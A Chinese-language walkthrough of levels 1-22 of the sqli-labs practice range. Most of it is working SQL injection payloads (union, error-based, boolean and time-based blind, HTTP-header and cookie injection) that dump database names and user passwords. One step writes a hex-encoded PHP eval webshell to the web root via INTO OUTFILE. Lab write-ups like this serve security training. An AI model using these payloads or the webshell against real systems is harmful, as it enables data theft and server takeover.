sqli-labs过关笔记,这篇为第一部分,1-22关
靶场环境:https://github.com/Audi-1/sqli-labs
Page-1 (Basic Injections)
(1)首先id=1肯定没错
http://127.0.0.1/?id=1 //正常
(2)加单引号
http://127.0.0.1/?id=1' //正常,很大几率不存在注入;不正常,存在注入
(3)判断数字型
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1 and 1=2//不正常
基本上可以确定是数字型注入了,但还可以使用下面的方法,进一步确认
http://127.0.0.1/?id=1' and 1=1//正常
http://127.0.0.1/?id=1' and 1=2//不正常
(4)判断字符型,有两种,一种$id后面没有其它sql语句,例如limit,一种$id后面还存在sql语句
(5)$id后面没有sql语句
http://127.0.0.1/?id=1' and 1=1 //正常
http://127.0.0.1/?id=1' and 1=2//不正常
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1 and 1=2//正常
http://127.0.0.1/?id=1' and 1=1 --+//正常
http://127.0.0.1/?id=1' and 1=2 --+//不正常
(6)$id后面有sql语句
http://127.0.0.1/?id=1' and 1=1//不正常
http://127.0.0.1/?id=1' and 1=2//不正常
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1' and 1=1 --+//正常
http://127.0.0.1/?id=1' and 1=2 --+//不正常
注:
?id=1'与?id=1"
哪个报错,就说明和谁有关,要用谁来闭合
eg:?id=1'报错,?id=1"不报错,和'有关,用'闭合进行注入
注:和谁有关测试and 1=1和and 1=2或and 1=1 --+和and 1=2 --+是不同回显的
1、首先判断目标是否存在sql注入,是什么类型的sql注入
判断目标的注入类型:
http://192.168.100.179:8002/Less-1/?id=1 //返回正确
http://192.168.100.179:8002/Less-1/?id=1' //返回错误,可能存在SQL注入
http://192.168.100.179:8002/Less-1/?id=1 and 1=1 //返回正确
http://192.168.100.179:8002/Less-1/?id=1 and 1=2 //返回正确
http://192.168.100.179:8002/Less-1/?id=1' and 1=1 //返回错误
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 //返回错误
由此可见,$id后面可能还有sql语句
http://192.168.100.179/sqli-labs-master/Less-1/?id=1' and 1=1 --+ //返回正确
http://192.168.100.179/sqli-labs-master/Less-1/?id=1' and 1=2 --+ //返回错误
由此可见,目标存在sql注入,并且是字符型,该id变量后面还有其他的sql语句
源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、测试步骤:
(1)猜测目标SQL查询语句中select后面的字段数量,这里order by用不起来,所以使用union select同时也测出了目标哪些位置的字段可以继续利用
http://192.168.100.179:8001/Less-1/?id=1' and 1=2 union select 1,2,3%23
注:这里的and 1=2是为了就将正确的id=1不显示,返回错误,显示后面union select语句的值
结果:这里SQL查询语句中select后面的字段数量是3个,2,3字段可以利用
(2)查询当前使用数据库
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,database(),3%23
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
(3)查询指定数据库中的表
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23
或
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3%23
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23
或
http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from security.users),3%23
1、判断为数字型注入
源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2、注入过程
注入方法和Pass-1原理一样,注入时只需去掉id=1’中的单引号即可
1、判断为字符型注入
源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
2、注入思路
因为源码中多了(),所以注入时,使用id=1’)闭合源码中前面的括号,其它注入过程参考Pass-1
1、判断为字符型注入
源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
2、注入思路
因为在传入$id前,对$id进行了双引号包裹,然后sql语句中的$id又有括号包围,所以注入时使用id=1")进行闭合构造,其它注入过程参考Pass-1
1、判断为字符型注入
源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、注入思路
先判断哪些字段可以利用
http://192.168.100.179:8002/Less-5/?id=1' union select 1,2,3%23
使用盲注,主要有三种盲注类型
(1)floor报错注入
payload自定义
union select null,count(*),concat(payload,floor(rand(0)*2))x from information_schema.tables group by x
注:该语句将 输出字符长度限制为64个字符
http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23
x表示对(database(),floor(rand(0)*2))起的别名,得出的结果去除最后的1,就是我们想要的
0x01:查询当前数据库
0x02:查询指定数据库中的表
http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
因为报错注入不能一次性将数据库全部显示出来,可以修改limit m,1的参数m,获取其它数据库名,例:limit 1,1、limit 2,1
0x03:查询表中字段
http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
(2)updatexml报错
自定义payload
union select updatexml(1,concat('~',(payload),'~'),3)
注:该语句对输出的字符长度也做了限制,其最长输出32位。并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
0x01:判断数据库
http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23
0x02:判断表
http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23
0x03:判断字段
http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23
0x04:爆出字段
http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23
(3)extractvalue报错注入
注:输出字符有长度限制,最长32位
0x01:判断数据库
http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23
注:union select可以改为and
0x7e表说~,可以用'~'替代
0x02:判断表
http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23
0x03:判断字段
http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23
0x04:爆出字段值
http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23
1、判断为字符型注入
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2、注入过程:id闭合需要修改为id=1",其它和Pass-5一样
1、判断为字符型注入
源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
2、注入过程:id闭合需要修改为id=1’)),使用into outfile写入一句话
因为作者注释了数据库错误显示,我们打开它,先使用报错注入获取当前网站根目录,在进行写入一句话
接下来猜网站目录,当然有点难猜,我们只能先看看当前数据库的路径
我的目录太难猜了,并且不写入到指定的目录还不可以执行,可能是权限问题,我在linux本地写个/www/1.php可以访问,使用数据库写入就无法访问了(我测试了一下,貌似/www下只有1.php可以找到并解析,其它文件名皆不行)
我设置的网站根目录如下
所以,直接向/www/admin/localhost_8002/wwwroot/sqli-labs写入一句话
http://192.168.100.179:8002/Less-7/?id=1')) and 1=2 union select null,'',null into outfile '/www/admin/localhost_8002/wwwroot/sqli-labs/peak.php'%23
这里的一句话该可以使用ASCII Hex表示,要注意以数据库形式写入时要在前面加0x,让数据库知道这是Hex编码
另外:编码使用burpsuite的ASCII Hex,可以直接text查看,其普通的Hex需要选择hex形式查看,不方便,还有和小葵的Hex编码也可以
http://192.168.100.179:8002/Less-7/?id=1')) and 1=2 union select null,0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e,null into outfile '/www/admin/localhost_8002/wwwroot/sqli-labs/peak.php'%23
注:–secure-file-priv报错解决:windows(my.ini添加或修改为secure_file_priv =),linux(my.conf添加或修改为secure_file_priv =)
参考:https://www.cnblogs.com/Braveliu/p/10728162.html
1、判断为字符型注入
源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、注入思路:因为没有报错信息的回显,此处可以使用基于布尔的盲注
(1)判断数据库名称长度
http://192.168.100.179:8002/Less-8/?id=1' and (length(database()))=8%23
(2)猜解数据库名
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23
最后得出数据库名为security(使用布尔盲注时可以配合二分法,更加快速精确地发现ASCII值)
(2)判断数据库中表的数量
http://192.168.100.179:8002/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23
(3)猜解其中第四个表名的长度
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23
(4)猜解第四个表名
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
第四个表名为users
(5)判断users表中字段数量
http://192.168.100.179:8002/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23
(6)判断第二个字段长度
http://192.168.100.179:8002/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23
(7)猜解第二个字段名称
http://192.168.100.179:8002/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23
...
第二个字段名称为username
注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关
(8)猜解指定字段中值的数量
http://192.168.100.179:8002/Less-8/?id=1' and (select count(username)from users)=13%23
(9)猜解第一个字段中第一个值的长度
http://192.168.100.179:8002/Less-8/?id=1' and length((select username from users limit 0,1))=4%23
(10)猜解第一个字段中第一个值的名称
http://192.168.100.179:8002/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最后的值为Dumb
1、判断为字符型注入
源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、注入过程:
首先了解一下基于时间的延时注入
if(expr1,expr2,expr3)
expr1的值为TRUE,则返回值为expr2
expr1的值为FALSE,则返回值为expr3
(1)判断是否可以使用延时注入
http://192.168.100.179:8002/Less-9/?id=1' and if(1=1,sleep(4),null)%23
(2)判断当前数据库长度
http://192.168.100.179:8002/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23
(3)判断数据库名称
http://192.168.100.179:8002/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23
...
不一一写了
剩下的只需要参照Pass-8,在and if(1=1,sleep(4),null)前面添加payload即可
1、判断为字符型注入
源码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2、注入过程:方法和Pass-9一样,只需要将id=1’改为id=1"即可
1、字符型注入
源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
2、注入思路:POST注入
最好使用burp,其它POST请求可能会不成功
(1)判断有sql语句中查询了几列,哪几列可以利用(当然,这里可以先使用order by,再使用union select),如下图
(2)尝试使用万能密码登录,如下图
(3)判断当前数据库,如下图
接下来的payload参考Pass-1
1、判断为字符型注入
源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
2、注入思路
和Pass-11差不多,只不过需要把uname构造为uname=admin")
例:
uname=admin") and 1=2 union select 1,2%23&passwd=1&submit=Submit
1、判断为字符注入
源码:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
2、注入过程
(1)判断sql查询语句中有几个列,哪些位置可以利用
uname=admin') union select 1,2%23&passwd=passwd&submit=Submit
(2)判断数据库名
uname=admin') union select count(*),concat('~',(select database()),'~',floor(rand()*2)) as x from information_schema.tables group by x%23&passwd=passwd&submit=Submit
或
uname=admin') union select count(*),concat('~',(select database()),'~',floor(rand()*2))x from information_schema.tables group by x%23&passwd=passwd&submit=Submit
剩下的参考Pass-5,修改payload即可
uname=admin') union select count(*),concat('~',(payload),'~',floor(rand()*2))x from information_schema.tables group by x%23&passwd=passwd&submit=Submit
1、源码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
判断为字符型注入
2、注入思路
闭合符号修改下即可
uname=admin" union select count(*),concat('~',(select database()),'~',floor(rand()*2))x from information_schema.tables group by x%23&passwd=passwd&submit=Submit
有时会显示不出来,这次floor报错注入返回的是0,而非1,因此,多Go几次
注:当然,也可以使用其它报错注入,经测试updatexml报错注入与extractvalue报错注入不会出现有时显示不出来的现象
updatexml报错注入
uname=admin" union select updatexml(1,concat('~',(database()),'~'),3)%23&passwd=passwd&submit=Submit
和
extractvalue报错注入
uname=admin" union select extractvalue(null,concat('~',(database()),'~'))%23&passwd=passwd&submit=Submit
源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入思路:参考Pass-8
判断数据库长度
uname=admin' and (length(database()))=8%23&passwd=admin&submit=Submit
猜解数据库名
uname=admin' and (ascii(substr((select database()) ,1,1))) = 115%23&passwd=admin&submit=Submit
...
...
剩下的过程不多说了,参考Pass-8
源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
注入思路:闭合为")其它和Pass-15一样
例:
判断数据库长度
uname=admin") and (ascii(substr((select database()) ,1,1))) = 115%23&passwd=admin&submit=Submit
其它参考Pass-8
源码:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
注入思路:这一题不是对uname的注入了,因为提示是密码的重置,uname注入不行,尝试后,原来是对passwd的注入,注入方法和uname一样,只不过换了参数而已
需要注意的是,passwd这一行使用的是update函数,因此后面拼接不能再跟union select(UNION操作符用于合并两个或多个 SELEC 语句的结果集,这里是update,所以不可用),需要使用or或者and,如下
uname=admin&passwd=admin' or updatexml(1,concat('~',(database()),'~'),3)%23&submit=Submit
但是最后一步爆出字段时出现了问题,如下图所示:
图中的payload为
uname=admin&passwd=admin' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23&submit=Submit
这个报错的大概意思是:不能在FROM子句中为update指定目标表’users’,为什么会发生这种问题呢,百度一波(参考:https://www.iteye.com/problems/87715),大概原因是,update和其后的where语句条件中不能对同一个表进行操作,就是不能先将select出表中的某些值,再update这个表(在同一语句中)。
因为UPDATE users SET password = '$passwd' WHERE username='$row1'
中update已经对users表进行操作,所以后面的语句就不能包含表名users,这题是特殊情况。
实际上ctf比赛中如果flag不在这个表中,你最后是可以获取到flag的,要是用的同一个表就没辙了,是不是真的没办法了呢,不,不是的,可以在爆字段的select语句外套上一层,参考网址:https://www.cnblogs.com/jeffen/p/7016547.html
最后,爆出字段的pyload如下,注意x.username,这个username是你已经爆出的字段名(字段名是可以爆出的)
uname=admin&passwd=admin' or updatexml(1,concat('~',(select x.username from (select username from users)x limit 0,1),'~'),3)%23&submit=Submit
我们来对比一下
uname=admin&passwd=admin' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23&submit=Submit
对比
uname=admin&passwd=admin' or updatexml(1,concat('~',(select x.username from (select username from users)x limit 0,1),'~'),3)%23&submit=Submit
是不是将select username from users套上了一层呢,注意:x.?,?要和后面括号里select后面的字段相同,这里为username
源码:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
注入思路:user-agent报错注入
注意:该题目需要输入正确的账户和密码,如果你一直登陆失败,可能的原因是之前做测试时,密码被修改为了空,我的就是这样,之后用pass-17重置了admin的密码,切记,登录不成功无法做此题!
接下来就是构造payload,要记得将$uagent闭合,构造为xx’ sql语句)#
xx' and updatexml(1,concat('~',(database()),'~'),3))#
或
xx' or updatexml(1,concat('~',(database()),'~'),3))#
最后语句应该呈现为
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('xx' and updatexml(1,concat('~',(database()),'~'),3))#', '$IP', $uname)
这里需要注意的是:在burp中,这里不同于底部的POST提交,可以使用%23或#皆可,但http头部注入,不需要将#编码
剩下的注入方法参考Pass-5的报错注入
源码:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
注入思路:源码表示向referer和ip_address插入新的数据
所以这题是对referer的注入(依旧要登陆成功才可以注入,注释符需要使用#,不能使用%23)
payload
xx' and updatexml(1,concat('~',(database()),'~'),3))#
剩下注入语句参考Pass-5
源码:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
注入过程:
先登陆成功后,再抓包,这样才能获取cookie,接下来对目标进行cookie注入,这里不能使用报错注入了,因为有回显,我们尝试非盲注
uname=admin' and 1=2 union select 1,2,3#
剩下的注入过程参考Pass-1,注意,这里的注释符#与%23皆可,综合上面几题的情况,http头注入最好还是使用#来注释,目前来说,还没出现过问题。
源码:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
注入思路:将经过base64加密的代码进行解密后,带入sql语句进行执行,所以这里需要将对cookie进行注入的代码进行base64加密
YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyM=
解密后为:admin') and 1=2 union select 1,2,3#
剩下的注入步骤参考Pass-1,在原来的基础上进行base64加密即可
源码:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
注入思路:Pass-21的基础上修改了闭合条件,需要使用"闭合
YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMiwzIw==
解密后为:admin" and 1=2 union select 1,2,3#
参考:
https://www.cnblogs.com/-qing-/p/11610385.html
floor报错注入参考1
floor报错注入参考2
updatexml报错注入
extractvalue报错注入